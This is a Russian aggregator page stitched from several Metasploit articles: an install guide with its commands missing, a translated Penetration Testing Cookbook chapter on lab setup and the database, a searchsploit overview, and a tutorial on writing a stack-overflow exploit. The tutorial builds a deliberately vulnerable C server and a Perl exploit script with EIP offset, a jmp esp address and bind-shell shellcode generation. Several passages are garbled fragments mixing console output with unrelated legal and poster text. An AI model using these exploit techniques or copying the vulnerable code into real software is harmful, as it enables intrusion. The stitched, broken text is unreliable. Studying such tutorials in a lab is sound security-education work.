Руководства, Инструкции, Бланки

Metasploit инструкция по применению img-1

Metasploit инструкция по применению

Рейтинг: 4.2/5.0 (1903 проголосовавших)

Категория: Инструкции

Описание

Metasploit Framework в Ubuntu

Metasploit Project — проект, посвященный информационной безопасности. Создан для предоставления информации об уязвимостях, помощи в создании сигнатур для IDS, создания и тестирования эксплоитов. Наиболее известен проект Metasploit Framework — удобная платформа для создания и отладки эксплоитов. Кроме того, проект включает в себя базу опкодов, архив шеллкодов и информацию по исследованиям компьютерной безопасности. http://ru.wikipedia.org/wiki/Metasploit

В начале необходимо установить Metasploit Framework. Для этого поставим все необходимые пакеты.

После установки необходимо обновить Metasploit Framework

Теперь самый простой вариант использования Metasploit Framework. Запустим консоль.

Теперь добавим нашу жертву в базу данных и информацию про его порты.

Отправим все на автоматический взлом . Данная команда стала неактуальной в последних версиях.

Если в конце процесса появятся сессии, значит взлом удался. Выбираем сессию и в ходим в нее.

Альтернатив db_autopwn нет. Использовать эксплоиты можно в ручную. Например так:

Далее можно заняться многим, все зависит от ваших полномочий в системе. Для просмотра команд доступных Вам наберите:

В конце для выхода обратно из сессии и удаления данного хоста из базы данных проделываем следующую операцию:

Иногда Базы данных отваливаются я решил данный вопрос вот так:

Александр Ф Михайлов (ChelAxe)

Другие статьи

Metasploit инструкция по применению - Полезные сведения

Metasploit инструкция по применению - актуальная информация.

LHOST yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic Эксплоит содержит параметр FILENAME, который содержит информацию о вредоносном файле, который будет создан. Появившись на свет 7 лет назад, MSF впоследствии из простого фрэймворка для. С одной стороны это повлияло на длительность вебинара, с другой — когда я сам начал пробовать на практике полученные знания, мне пришлось столкнуться с этими же проблемами, и я уже знал, как их устранить. Так что, если приложение «рухнет» от эксплоита или пользователь закроет приложение — подключение к цели останется. Sending stage 752128 bytes to 192. За семь лет разработки Backtrack стал таким, каким и должна быть система с тестами на проникновение. Используя msfpayload, мы можем конвертировать любой Metasploit shellcode в один из этих форматов. Точнее, это фреймворк, с. Metasploit выполняет этот процесс в два простых шага: Генерирует соотв.

Metasploit Framework | ВКонтактi

Сегодня речь пойдёт о Kali Linux. Деяния, предусмотренные частями первой, второй или третьей настоящей статьи, если они повлекли тяжкие последствия или создали угрозу их наступления, - наказываются лишением свободы на срок до семи лет. Как установить Kali Linux: подробная инструкция для установки на компьютер и в виртуальную машину. Переполнение RTF буфера существует в версиях 2007 и 2010 Office.

Автор: Том Кобурн англ. Так что давайте быстро его протестируем. Также сюда можно добавить интересные факты, картинки и прочие вещи. Создание, использование и распространение вредоносных компьютерных программ 1. В 2003 году по забугорным интернетам блуждала этого же плаката с текстом «Пилоты!

Еще раз напоминаем прописные истины: Не стоит использовать одинаковые пароли для разных сервисов особенно терминальных, находящихся во владении третьих лиц. Смысл данной техники заключается в увеличении надежности эксплоита. С тех пор прошло семь лет и Backtrack стал одним из самых популярных "хакерских чемоданчиков". PID Name User Path --- ---- ---- ---- 1060 svchost. Главное в системе - тесты на проникновение.

Metasploit Penetration Testing Cookbook русский перевод часть 1 - Shlyahten

Metasploit Penetration Testing Cookbook русский перевод часть 1

Предлагаю вам перевод введения и первой части новой книги "

  1. метод черного ящика — осуществляется при отсутствии предварительной информации о цели. Для осуществления атаки, пен-тестеру приходится по крупицам собирать информацию о целевой системе
  2. метод белого ящика - осуществляется, когда пен-тестер имеет достаточно полную информацию о цели

Промышленные специалисты определили некоторые ключевые шаги, которые необходимы практически во всех формах тестирования на проникновение, к ним относятся:
  • определение цели — сбор основной информации без физического соединения
  • выявление уязвимости - реализация различных методов обнаружения, таких как сканирование, удаленный вход (remote login) и сетевые сервисы, чтобы выяснить, какие службы и программное обеспечение, работают на целевой системе.
  • эксплуатация — использование уязвимостей (публичных или приватных) для атаки на службы, программы и т.п.
  • уровень доступа — атакующий может получить доступ на целевой системе после успешной атаки
  • отчет — подготовка отчета об уязвимости(ях) и меры противодействия

Этих шагов может показаться мало, но тестирование на проникновение систем высокого уровня (high-end system) с большим количеством служб может занять дни если не месяцы. Причина, по которой тестирование на проникновение выполняется так долго состоит в том, что применяется техника «проб и ошибок» (хотя к скрипт-кидингу это не относится в большей мере… там взял и применил). Уязвимости во многом зависят от настройки системы, поэтому мы не беремся утверждать, что рабочий эксплоит будет работать. Глава 1. Metasploit — короткие советы
  • Настройка Metasploit в Ubuntu/Debian
  • Metasploit + BackTrack
  • Создание пен-тест лаборатории
  • Настройка Metasploit в BackTrack + SSH
  • Создание базы данных в Metasploit
  • Использование базы данных для хранения результатов тестирования
  • Анализ результатов из БД

В настоящее время Metasploit наиболее «встречающееся» (buzzing) слово в области информационной безопасности. Причина, по которой Metasploit настолько популярен - широкий спектр задач, которые он может выполнять. Metasploit доступен для всех популярных операционных систем. В этой (статье) книге мы будем в основном работать в BackTrack 5. который поставляется с уже предустановленными программами. Для начала кратко ознакомимся с терминами:
  • Metasploit Framework — бесплатный (открытый исходный код) пен-тест framework созданный H. D. Moore в 2003 году, который в последствии был куплен Rapid7. Написан на языке Ruby. Metasploit обладает крупнейшими базами данных эксплоитов и принимает около миллиона загрузок каждый год. Он также является одним из самых сложных проектов на сегодняшний день, написанных на Ruby.
  • Уязвимость (Vulnerability) — слабое место, которое позволяет злоумышленнику/пен-тестеру взламывать/скомпрометировать целевую систему. Уязвимость может существовать в операционных системах, программах, службах и т.д.
  • Эксплоит (Exploit) — код с помощью которого злоумышленник/пен-тестер может взломать систему, программу и т.п. Каждая уязвимость имеет свой собственный соответствующий эксплойт. Metasploit v4 имеет более чем 700 эксплоитов.
  • Payload — код, который выполняется после эксплоита. В основном используется для настройки связи между жертвой и атакующим. Metasploit v4 имеет более 250 payloads.
  • Модуль (Module) — это небольшие строительные блоки. Каждый модуль выполняет определенную задачу и система создается/строится путем объединения этих блоков в единое целое. Самым большим преимуществом такой архитектуры является то, что она легка для интеграции новых эксплоитов.

Рассмотрим архитектуру Metasploit'a поближе:

Metasploit использует различные библиотеки, которые играют ключевую роль в функционировании системы. Эти библиотеки представляют собой набор заранее определенных задач, операций и функций, которые могут быть использованы различными модулями системы. Самая фундаментальная часть фреймфорка является Ruby Extension (Rex). Некоторые компоненты Rex включают подсистему сокетов (wrapper socket subsystem), реализацию клиентских и серверных протоколов, регистрацию подсистемы (logging subsystem), exploitation utility classes, а также ряд других полезных классов.

Далее есть MSF Core библиотека, которая расширяет Rex. Core несет ответственность за выполнение всех необходимых интерфейсов (required interfaces), которые позволяют взаимодействовать с эксплоитами, модулями, сессиями и плагинами.

В Metasploit есть четыре так называемых пользовательских интерфейса: msfconsole, msfcli, msfgui и msfweb. Настоятельно рекомендуется изучить все 4 интерфейса. Однако в книге (статье) с основном будет использоваться msfconsole. Потому что msfconsole хорошо поддерживается во фреймворке и использует все функциональные возможности.

С теорией пока что покончено, переходим к практике.

Настройка Metasploit в Ubuntu/Debian


Скачайте Metasploit c офф сайта (http://www.metasploit.com/download).

У вас будет возможность выбрать либо минимальные настройки или полные. Выберите загрузку в соответствии с вашими потребностями. Полная установка будет включать в себя все зависимости, настройку БД, окружающей среды и т.д. В то время как минимальные настройки будут содержать только зависимости, без настройки БД.

Установка может закончиться с ошибкой по некоторым причинам. Некоторые версии Ubuntu могут содержать сломанные библиотеки языка Ruby. В этом случае можно установить зависимости отдельно.

Установка зависимостей Ruby:


После установок выше, скачать архив Metasploit:


Если все закончилось нормально, Metasploit будет работать.

Metasploit + BackTrack
BackTrack является самым популярным дистрибутивом среди пен-тестеров и хакеров по двум причинам:
  1. содержит все популярные инструменты тестирования на проникновение => уменьшает время на установку
  2. это Linux дистрибутив =D

Установить BackTrack можно либо на сменный носитель (hdd, flash) или на виртуальную машину. Логин = root, пароль =toor.

После успешного входа можно остаться в CLI (Command Line Interface) или перейти в графический интерфейс, командаstartx.

Запустить Metasploit Framework можно из Applications: Applications | BackTrack | Exploitation Tools | Network Exploitation Tools | Metasploit Framework, как показано на рисунке:

Чтобы запустить Metasploit из консоли, выполните след. команды:

Создание пен-тест лаборатории


Идеальной настройкой считается создание физической среды, т.е. компьютеры должны физически существовать. Но если лишних машин нет, тогда нужно воспользоваться виртуализацией.

Мы будем использовать Virtual Box и создадим две виртуальные машины BackTrack 5 и Windows XP SP2. Хост система будет Windows 7.

Процесс установки достаточно прост, если есть желание почитать про Virtual Box, тогда можно воспользоваться ссылкой_1 иссылкой_2 .

Прежде чем приступить к работе, нужно настроить VB так, чтобы две виртуальные машины могли общаться между собой. Выбираем одну из виртуальных машин и переходим в Свойства (Settings). Далее выбираем Сетевые настройки (Network settings). Сетевой адаптер будет предустановлен в NAT, чтобы пользоваться Интернетом. В адаптере 2 (Adapter 2) выбрать Host only Adapter:

Повторите этот действие на всех виртуальных машинах. Host-only adapter нужен для того, чтобы машины могли общаться друг с другом. Далее нужно проверить все ли пингуется (это переводить не стал, потому что и так все понятно, а кому не понятно… значит в комментарии).

Настройка Metasploit в BackTrack + SSH


Сейчас сосредоточимся на производительности. Может оказаться так, что ресурсов системы не хватит, тогда нужно исправить положение.

Нам понадобится SSH-клиент. Будем использовать PuTTY .

Загружаем BackTrack в CLI и выполняем след. команды:


Теперь смотрим ip-адрес:

Запускаем PuTTY на главном хосте (Windows 7). Вводим ip-адрес и порт 22:

Если все прошло нормально, тогда должно появиться следующее:

Таким образом потребление памяти снизиться примерно в два раза.

Создание базы данных в Metasploit


Важной особенностью в Metasploit является наличие БД, в которой можно хранить результаты тестирования. Любой пентест состоит из большого количества информации и может работать в течение нескольких дней, поэтому часто необходимо хранить промежуточные результаты в БД.

В качестве базы данных по умолчанию в Metasploit используется PostgreSQL. В BackTrack есть возможность использовать MySQL вместо PostgreSQL, но об этом чуть позже. Давайте для начала проверим настройки по умолчанию в PostgreSQL БД. Открываем файл database.yml расположенный в /opt/framework3/config. Чтобы это сделать, выполните след. команду:


Обратите внимание на значения по умолчанию: database, username, password, host, port, pool и timeout. Запишите эти значения, так как они будут необходимы в дальнейшем. Вы также можете изменить их в соответствии с вашим выбором.

Теперь задача состоит в том, чтобы подключиться к БД. Для этого запускаем msfconsole и проверяем доступные драйверы баз данных:


Убеждаемся, что PostgreSQL используется по умолчанию. Если хочется использовать MySQL, тогда нужно выполнить след. команду:


Это приведет к изменению активного драйвера для MySQL.

Важно!
Обратите особое внимание на то, что Rapid7 прекратила поддержку MySQL в последней версии Metasploit (v4.6.0-dev). Поэтому команда db_driver уже не нужна. Теперь будет использоваться только PostgreSQL. И следовательно такие команды как: db_driver, db_connect не нужны. Но если пользуйтесь старой версией, тогда читайте дальше.

Для подключения к БД используется команда db_connect. Давайте посмотрим на ее синтаксис:

Чтобы подключиться к БД будем использовать значения из файла database.yml (см. выше):


При успешном выполнении команды, база данных PostgreSQL будет полностью настроена.

Теперь давайте рассмотрим несколько важных моментов связанных с БД.

Получение ошибки при подключении к базе данных.

Есть некоторая вероятность, что при подключении к БД выведется ошибка. Поэтому нужно помнить о двух моментах:

  • проверьте команды db_driver и db_connect и убедитесь, что вы используете их правильно
  • перезапустите БД /etc/init.d, а затем попробуйте подключиться снова

Если ошибка по-прежнему выдается, тогда можно попробовать переустановить базу данных с помощью следующих команд:


Удаление базы данных

В любой момент времени вы можете остановить/удалить созданную базу данных, и начать все заново. Следующая команда используется для удаления БД:

Использование БД для хранения результатов тестирования


Теперь давайте посмотрим, как использовать БД для хранения результатов тестирования. Начнем с небольшого примера. Команда db_nmap сохраняет результаты сканирования портов непосредственно в БД, а также всю необходимую информацию. Запускаем простое nmap сканирование, чтобы проверить, как это работает:


Как видим, nmap выдала результаты сканирования. Nmap будет автоматически заполнять БД msf3.

Можно также воспользоваться опциями -oX в nmap, чтобы сохранить результат сканирования с формате XML. Это полезно делать, если в дальнейшем вы будите использовать сторонние программы, такие как Dradis Framework для работы с результатами:


report - это файл, в котором будет храниться результат сканирования.

Команда db_nmap создает SQL запросы с различными столбцами таблицы, имеющие отношение к результатам проверки. После завершения сканирования, db_nmap сохраняет значения в базе данных. Сохранение результатов в виде таблиц упрощает обмен результатами локально, так и со сторонними инструментами.

После того, как сканирование завершено, наступает время анализа. Анализ данных даст нам более точное понимание целевой системы. Результаты в базе данных могут храниться либо в течении длительного времени, либо в течении короткого срока. Что захотите сделать, то и будет.

Анализ результатов сканирования из БД


Рассмотрим наиболее важные команды, чтобы иметь четкое представление о сохраненных результатах:

msf > hosts — команда покажет все хосты, которые имеются в БД:

Однако, вывод команды hosts можно сделать более «чистым», так как отображается много столбцов в таблице. Таким образом, мы можем двигаться дальше, т.е. добавить фильтры и просматривать только те столбцы, которые нас интересуют:

msf >hosts -c address,os_name Hosts ===== address os_name ------- ------ 192.168.56.1 192.168.56.101 192.168.56.102 Microsoft Windows 192.168.56.103 Linux


msf > services — еще одна интересная команда, которая может дать полезную информацию о службах запущенных на целевой системе:

msf >services Services ======== host port proto name state info ---- ---- ----- ---- ----- ---- 192.168.56.101 111 tcp rpcbind open 192.168.56.102 135 tcp msrpc open 192.168.56.102 139 tcp netbios-ssn open 192.168.56.102 445 tcp microsoft-ds open 192.168.56.102 135 tcp msrpc open Microsoft Windows RPC

msf > vulns — эта команда выдает список уязвимостей присутствующих в БД.

msf > db_autopwn — мощная команда, которая используется для автоматизации процесса «эксплуатации» (exploiting) целевых машин. Эта команда требует большего понимания процесса эксплуатации, поэтому мы будем анализировать/изучать эту команду позже.

Процесс анализа достаточно прост и может легко фильтроваться, чтобы получить желаемый результат. Мы уже поняли, как читать/просматривать базу данных и как использовать ее эффективно. Последние две команды vulns и db_autopwn являются post-exploitation. Их мы будем рассматривать в след. статьях/главах.

Ну вот и все. Это было введение и первая часть

Metasploit Exploitation Framework и searchsploit

Metasploit Exploitation Framework и searchsploit — как искать и как использовать эксплойты

Metasploit Exploitation Framework — это инструмент для тестирования на проникновение. Он содержит большую базу эксплойтов, позволяет использовать их прямо из Metasploit. Существует две версии Metasploit, в этом уроке я рассматриваю бесплатную версию.

searchsploit — это инструмент для поиска эксплойтов. Содержит базу, по моим наблюдениям, более обширную, чем Metasploit. Но не содержит функции использования эксплойтов.

На всякий случай, разберёмся с терминологией. Эксплойт — это готовая программа, которая, используя конкретную уязвимость, автоматизирует процесс проникновения или повышения прав или другое несанкционированное действие, которое является следствием уязвимости.

Обе программы не сложны, но нужно знать, что и как там делать. Обе эти программы включены в Kali Linux «из коробки». Поэтому, возможно, вас также заинтересуют статьи:

Я буду рассматривать работу с этими программами в Kali Linux. но на самом деле, эти утилиты можно установить на любой Linux.

searchsploit

Это программа только для поиска известных эксплойтов. Чтобы вывести справку по ней, наберите в командной строке:

Файлы .pl написаны на языке Perl, перед именем файла, для запуска, нужно ставить perl. Аргументы передаются в командной строке (или вписываются в исходный код) как и с PHP.

Думаю, с поиском всё предельно просто. С конкретным применением — зависит от конкретного эксплойта. Переходим к Metasploit.

Metasploit

Программа Metasploit расположена в меню в двух местах. Самый быстрый способ — это найти её среди 10 самых популярных приложений. Там она называется Metasploit Framework. Запуск каждый раз занимает какое-то время, поэтому просто ждём:

Если программа пишет вам что-то про базу данных и про медленный поиск, то воспользуйтесь этой инструкцией. А также можете вручную пересобрать кэш:

Ну и, конечно, для того чтобы знать, какие эксплойты использовать, нужно знать работающие на целевой машине программы и их версии. Определённую помощь в этом может оказать вам статья «Обзор разделов инструментов Kali Linux 1.0.9a. Часть 2. Инструменты для сбора информации «.

Заключительные слова

Скажу честно, базы эксплойтов меня разочаровали: я слежу за обновлениями самых популярных веб-приложений (phpMyAdmin, WordPress, Drupal и т. д.) и за последние месяцы в списках изменений мелькало достаточно много закрытых уязвимостей. Под большинство из них я не нашёл эксплойтов. Возможно, это касается только эксплойтов для веб-приложений. Вполне возможно, что для операционных систем и программ всё намного интереснее. Отсутствие в паблике эксплойтов на свежие версии популярных веб-приложений я связываю с тем, что: а) не так уж и просто потенциальную уязвимость раскрутить, хотя бы, до работающего концепта; б) самые интересные эксплойты собраны в закрытых базах, возможно, доступных за плату или только для определённого круга лиц.

Похожие темы

Как получить логи скайпа и историю браузера на уда. https://codeby.net/forum/threads/krazha-logov-skype-i-istorii-poseschenij-brauzerov.57913/ Как получить логи skype и историю посещений браузеров на.

Взлом паролей WPA2/WPA с помощью Hashcat в Kali Li. Если у вас какие-либо проблемы с беспроводными устройствами, то следует ознакомиться со статьёй «Лучшие совместимые с Kali Linux USB Wi-Fi ада.

Metasploit Community — Руководство для начин. Содержание О руководстве Целевая аудитория Структура Условные обозначения Поддержка Поддержка Metasploit Pro и Metasploit Express П.

Сканер уязвимостей ZMap — дополнительная инф. Перейти к содержанию полного руководства пользователя ZMap на русском языке. ICMP эхо-сканирование UDP Datagram сканирование Файлы конф.

Простой способ открыть диски Linux (с файловой сис. Если у вас на одном из дисков установлена Linux и вы, будучи загруженным в Windows, хотите посмотреть содержимое этого диска, то окажется, что это н.

Metasploit инструкция по применению

Учимся писать эксплоиты для Metasploit Framework

Откуда берутся сплоиты? Задумывался ли ты, каким образом тусклая новость из багтрака превращается в реально работающую отмычку? Каким образом двумя десяткам строчек кода удается получить шелл на удаленном сервере? Сегодня мы посетим фабрику сплоитов и во всех подробностях посмотрим, как изготавливается качественное изделие.

Сплоит – что же это за зверь такой диковинный? По сути, это программа, написанная с целью использования уязвимости – в ОС, обычной программе или веб-приложении. Он может представлять из себя что угодно – программку на С/С++ (Delphi, Asm), скриптик на Perl или PHP, или даже находиться внутри картинки, но главное, что он влияет на уязвимую систему и заставляет ее работать так, как она не запрограммирована. Удаленный эксплоит работает через сеть и использует уязвимость без какого-либо предварительного доступа к уязвимой системе. Локальные же сплоиты запускаются непосредственно в уязвимой системе, требуя предварительного доступа к ней и обычно используются для повышения привилегий.

Сплоиты можно разделить по типу используемой уязвимости: переполнение буфера, SQL-инъекция, межсайтовый скриптинг и т.д. Короче говоря, разновидностей бывает много и каждая из них отличается как техникой исполнения, так и своей целью. Но есть в них одно общее – все они содержат код, выполняющий задуманные хакером действия. Этот код называют: байт-код, шелл-код (так как очень часто этот код предоставляет доступ к шеллу на удаленной системе), полезной (боевой) нагрузкой (payload). Написание такого кода – целое искусство. Если хочешь разобраться в этой области, советую начать со статьи Step'а "Откуда берутся шеллкоды ". Мы же рассмотрим процесс написания эксплоита, а шелл-код возьмем уже готовый из пакета Metasploit.

Пишем жертву для экспериментов

Убежден, что нет более наглядного способа продемонстрировать создание боевого кода, чем на конкретном примере. Поэтому начнем с игры в горе-программистов и наваяем небольшое серверное приложение, оставив в нем критическую уязвимость, которую и будет эксплуатировать. Приложение будет принимать подключения на определенном порту: как только придет некоторый пакет, будет вызываться функция, выполняющая некоторые действия с полученными данными, после чего приложение завершается. Скелет приложения приведен ниже:

void pr( char *str)
<
char buf[ 500 ]= "" ;
strcpy(buf,str) ; // вот и сама уязвимость, собственной персоной
>

int main(int argc, char **argv)
<
.
int bytesRecv = SOCKET_ERROR ;
while( bytesRecv == SOCKET_ERROR )
<
//Получаем данные, отправленные клиентом
bytesRecv = recv( clientSocket, Message, 5000. 0 ) ;

if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
<
printf( "\nConnection Closed.\n" ) ;
break ;
>
>

pr(Message) ; // вызываем функцию, которая не проверяет длину входного буфера при копировании

closesocket(clientSocket) ;
closesocket(serverSocket) ;
WSACleanup() ;
return 0 ;
>

Внимательно взглянув на код, можно увидеть, что функция void pr(char *str) не проверяет длину входного буфера и, если передать ей в качестве параметра строку длиной более 500 символов - получится классическое переполнение буфера. Совсем кратко о том, как это работает (тут придется вспомнить, как работает стек):

PUSH EDI // кладем в стек указатель, на буфер, который будем копировать (*str)
CALL Server._pr // вызываем функцию pf

После вызова CALL стек будет выглядеть следующим образом:


buf - локальная переменная, куда будем копировать входящие данные
ebp - сохраненный указатель кадра стека
ret - адрес возврата
*str - указатель на входящий буфер
.

Под переменную buf у нас выделено 500 байт. А что будет, если скопировать туда строку длиннее?

[buf] [EBP] [ret] [*str]
[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]

Как видишь, такая строка затрет EBP, адрес возврата и все, что расположено ниже по стеку – перезапиши адрес возврата нужным нам значением и тогда при выходе из функции мы можем вернуться, куда захотим, например, на наш шелл-код.

Правда, стоит сделать поправку: уязвимости может и не быть. В смысле, от такой критической ошибки, конечно, никуда не деться, и программа в любом случае будет падать, однако использовать переполнение в сплоите может и не получиться. Виной тому стековые куки – специальная защита, включаемая в бинарник компилятором во время сборки приложения. Существует несколько способов обхода такой защиты (подробнее – смотри ниже), но сейчас для простоты примера предположим, что стековые кукисы отключены. Поэтому либо отключаем поддержку кукисов во время компиляции в Visual Studio, либо используем компилятор, который вообще не умеет встраивать подобную защиту. Второй вариант, как мне кажется, проще – так как можно использовать бесплатный компилятор lccwin32. Компилируем и запускаем.

Убить наповал!

Сервер работает ровно до тех пор, пока ему не придет строка, состоящая более чем из 500 символов. В противном случае – непременно вылет приложения. Набросаем небольшой скриптик на Perl'е для эксплуатации переполнения буфера:

use strict;
use Socket;
my $junk = "\x41" x100 0 ;

# адрес и порт узявимого демона
my $host = shift || 'localhost' ;
my $port = shift || 200 ;
my $proto = getprotobyname ( 'tcp' );

# осуществляем привязки
my $iaddr = inet_aton( $host );
my $paddr = sockaddr_in( $port. $iaddr );

print "[+] Setting up socket\n" ;
# создаем сокет и присоединяемся к порту
socket (SOCKET, PF_INET, SOCK_STREAM, $proto ) or die "socket: $! " ;
print "[+] Connecting to $host on port $port \n" ;
connect (SOCKET, $paddr ) or die "connect: $! " ;

print "[+] Sending payload\n" ;
print SOCKET $junk. "\n" ;

print "[+] Payload sent\n" ;

close SOCKET or die "close: $! " ;

Скрипт просто соединяется с сервером и посылает ему строку символов "А" длиной 1000 ($junk = "\x41" x1000). Чтобы наглядно посмотреть, что в момент получения такой строки происходит внутри нашего сервера, запускаем его под отладчиком – идеально, под OllyDbg. Выбираем наш бинарник через меню "File -> Open" и отдаем команду на выполнение: "Debug -> Restart -> Run". Далее запускаем простенький сплоит, который, как и следовало ожидать, убивает наш сервер наповал. Смотрим в отладчик - адрес возврата из функции pf (и, как следствие, регистр EIP, указывающий на следующую инструкцию) оказывается перезаписанным значением 41414141 (как ты помнишь, 0х41 - это символ А). Но на момент, когда мы будем глядеть в отладчик, уже произойдет возврат по адресу 41414141, и мы будем видеть только EIP. Для успешной эксплуатации уязвимости нужно построить ядовитую строку так, чтобы она переписывала адрес возврата нужным нам значением - адресом нашего шелл-кода. Поэтому сначала необходимо выяснить, какие именно символы строки затирают адрес возврата. В этом поможет одна из утилит Metasploit Framework. Но перед этим предлагаю тебе быстренько ознакомиться с Фреймворком.

Используем Metasploit для разработки эксплоита

Символов в передаваемой строке 1000, все они одинаковые, поэтому неудивительно, что в строке возврата появляется значение, состоящее из буквы A. Но если составить строку, которая будет состоять из неповторяющихся буквенно-числовых строк, то легко определить позицию тех символов, которые попадают в адрес возврата. Генерацией такой строки как раз и занимается утилита, входящая в состав Metasploit, pattern_gererate. В качестве единственного обязательного параметра передается длина строки. Итак, создадим буфер длиной в 1000 символов для дальнейшего использования в нашем сплоите:

msf > ruby pattern_create .rb 1000
Aa0Aa1Aa2Aa3 [967 символов вырезано злым редактором] Bh0Bh1Bh2Bh

А в скрипте заменим значение переменной $junk на вышеприведенную последовательность. Заново запускаем наш уязвимый сервер, подключаемся к нему в OllyDbg и запускаем эксплоит. Сервер опять падает. Что ж, давай взглянем, что на этот раз оказалось в регистре EIP? EIP = 41387141. Чтобы определить смещение символов в строке, используем другую утилиту из набора Metasploit - pattern_offset, передавая в параметрах искомую величину и длину буфера:

my $totalbuffer = 1000 ;
# длина буфера
my $junk = "\x41" x 504 ;
# первые 504 символа "А"
my $eipoverwrite = "\x42" x 4 ;
# 4 символа "В", которые перезапишут адрес возврата
my $junk2 = "\x43" x ( $totalbuffer - length ( $junk. $eipoverwrite ));
# оставшееся место в буфере заполняем символами "С"

И заменяем строчку кода, отправляющую сформированную строку в сокет, на:

print SOCKET $junk. $eipoverwrite. $junk2. "\n" ;

Чтобы проверить, запускаем эксплоит и смотрим в отладчик. Ага, так и есть: EIP = 42424242. Увы, тысячи символов слишком мало, чтобы уместить шелл-код, поэтому попробуем увеличить длину ядовитой строки и посмотреть, как будет работать сплоит. Длину выбираем экспериментально: методом проб и ошибок. После увеличения длины с 1000 до 2000 (my $totalbuffer = 2000) убеждаемся, что сплоит по-прежнему работает так же успешно. А это значит, мы имеем 2000-4-504=1492 байта для размещения нашего шелл-кода. Все это прекрасно, но как передать управление шелл-коду – ведь его адреса мы не знаем! Давай посмотрим, что у нас происходит со стеком в момент переполнения. Поставим в отладчике бряк на функцию strcpy:

0040130 B. CALL 00404351

И запускаем эксплоит. Бряк сработал, – смотрим, что в стеке (в olly стек показывается в правом нижнем углу и имеет формат "адрес - значение – комментарий; типа return to kernel32.728232"):

[buf] [ebp] [ret] [предыдущий стековый фрейм]

Нажимаем <F8> (перейти на следующую инструкцию) и отмечаем изменения в стеке:

[buf] [ebp] [ret] [предыдущий стековый фрейм]
[AAAAAAAA] [BBB] [CCCCCCCC…]

Теперь взглянем на конец функции pf:

00401313 POP EDI
00401314 POP ESI
00401315 LEAVE
00401316 RETN

При вызове команды LEAVE происходит следующее:

MOV ESP, EBP //теперь в ESP содержится адрес [ebp]
POP EBP // в EBP заносится значение из [ebp] (эта область у нас перезаписана символами "А", следовательно, EBP будет равен 41414141), ESP теперь указывает на адрес возврата.

При выполнении команды RETN из стека выталкивается адрес возврата – поэтому получается, что ESP указывает на начало стекового фрейма, то есть на $junk2, где мы и будем размещать наш шелл-код. А как перейти по адресу, лежащему в esp? Хороший вопрос!

Переход к ESP – вполне обычное действие для виндовых приложений. Более того, любое такое приложение использует, как минимум, одну системную DLL’ку, в которых есть инструкции на любой вкус. Адреса в таких DLL'ках, как правило, статичны и не изменяются! Получается, если найти инструкцию перехода на ESP (а это либо jmp esp, либо push esp + ret, либо call esp), взять ее адрес и заменить им адрес возврата, то на выходе из функции управление передастся на ESP – прямиком нашему шелл-коду.

Есть один момент, который стоит упомянуть! Адрес возврата не должен содержать нулевых байтов, ведь функция strcpy воспримет все как признак конца строки и не скопирует оставшуюся часть буфера, то есть $junk2, куда мы хотели разместить шелл-код. Поэтому мы будем искать инструкцию перехода по esp в динамических библиотеках, используемых приложением, так как адрес такой инструкции в библиотеках будет выше, и не будет занимать все четыре байта – исключая возможность появления нуля в начале.

Осуществлять поиск будем с помощью полезной утилиты findjmp, входящей в состав пакета тулз MSF eXploit Builder – он нам понадобится и позже. Прога ищет адрес команды call, jmp, push + регистр и ret в dll или приложении. Наша программа работает с сокетами, и значит, она будет использовать стандартную виндовую библиотеку ws2_32.dll. Посмотрим, есть ли там интересующий нас опкод (то есть машинные инструкции, соответствующие передаче управления на ESP). Запускаем с указанием, во-первых, библиотеки для поиска, и, во-вторых, нужного регистра:

Findjmp2 .exe ws2_32 .dll esp
Scanning ws2_32 .dll for code useable with the esp register
0x71AB9372 push esp - ret
Finished Scanning ws2_32 .dll for code useable with the esp register
Found 1 usable addresses

Найден один подходящий нам адрес - 0x71AB9372. Кстати, если вдруг нужного опкода в другой ситуации не найдется – не беда, можно поискать в kernel32.dll, которая используется всеми приложениями. Аналогичный поиск по этой библиотеке дает еще два подходящих адреса. В действительности, это не самый удачный вариант и искать опкоды в системных библиотеках стоит в самом последнем случае. Дело в том, что библиотеки различаются от системе к системе и даже от версии сервиспака, установленного в винде. Адрес 0x71AB9372 действителен только для английской Windows XP SP2 – для другой системы он будет другой! Именно поэтому подходящие опкоды стоит искать в DLL'ках, которые устанавливает в систему сама программа – только в этом случае есть шанс написать независящий от версии Windows сплоит. В нашем случае, увы, такой вариант невозможен в виду простоты примера, но свои динамические библиотеки для реального виндового приложения – это в большинстве случаев норма.

Осталось только создать шелл-код. Как я уже говорил, к сплоиту предъявляется одно важное требование - он не должен содержать нулевых байтов. В программе копируется строка, и если встретится "0", он будет воспринят как конец строки. Соответственно, оставшаяся часть строки не скопируется, а неполный шелл-код, естественно, не будет работать. В создании шелл-кода нам опять поможет Metasploit и консольный интерфейс для управления фреймворком. Итак, запускаем консоль tools/msfconsole и вводим следующее:

msf > use window s/shell_bind_tcp // будем использовать этот payload
msf payload(shell_bind_tcp) > set LPORT 5555 // устанавливаем значение порта на удаленной машине
LPORT => 5555

С помощью команды "generate -h" посмотрим опции, которые можно указать для генерации шелл-кода:

  • -b <opt> - список символов, которые следует исключить из шелл-кода;
  • -f <opt> - имя файла, куда сохраняется шелл-код;
  • -t <opt> - тип шелл-кода: ruby, perl, c или raw.

Указываем, что надо избегать байтов '\x00\xff', генерировать код для Perl'a и сохранить полученные результаты в c:\\shellcode.bin:

msf payload ( shell_bind_tcp ) > generate - b '\x00\xff' - f c. \\ shellcode. bin - t perl
[*] Writing 1747 bytes to c. \ shellcode. bin.

Вот теперь, имея на руках шелл-код, настало время собрать полноценный эксплоит. Единственное – нужно помнить несколько моментов:

  • в шелл-коде не должны встречаться 0xff и 0x00 байты, но мы об этом уже позаботились;
  • непосредственно перед шелл-кодом нужно поместить цепочки из NOP (машинная команда - нет операции) – на случай, если мы чуть-чуть накосячили с адресом возврата.

Отправляемая серверу строка будем формироваться следующим образом:

my $junk = "\x90" x 504 ; // первые 504 NOP ’ a
#jmp esp (from ws2_32.dll)
my $eipoverwrite = pack ( 'V'. 0x71AB9372 ); // перезаписываем адрес возврата значением 0x71AB9372
#add some NOP's
my $shellcode = "\x90" x 50 ; // добавляем 50 nop -ов перед шелл-кодом
/ / прибавляем сгенерированный нами шелл-код (windows/shell _bind_tcp )
$shellcode = $shellcode. "\xbb\x2e\ [и тут тоже кушал редактор ] xd3" ;

Окончательно строка, отправляемая в сокет:

// и отправляем ядовитую строку серверу
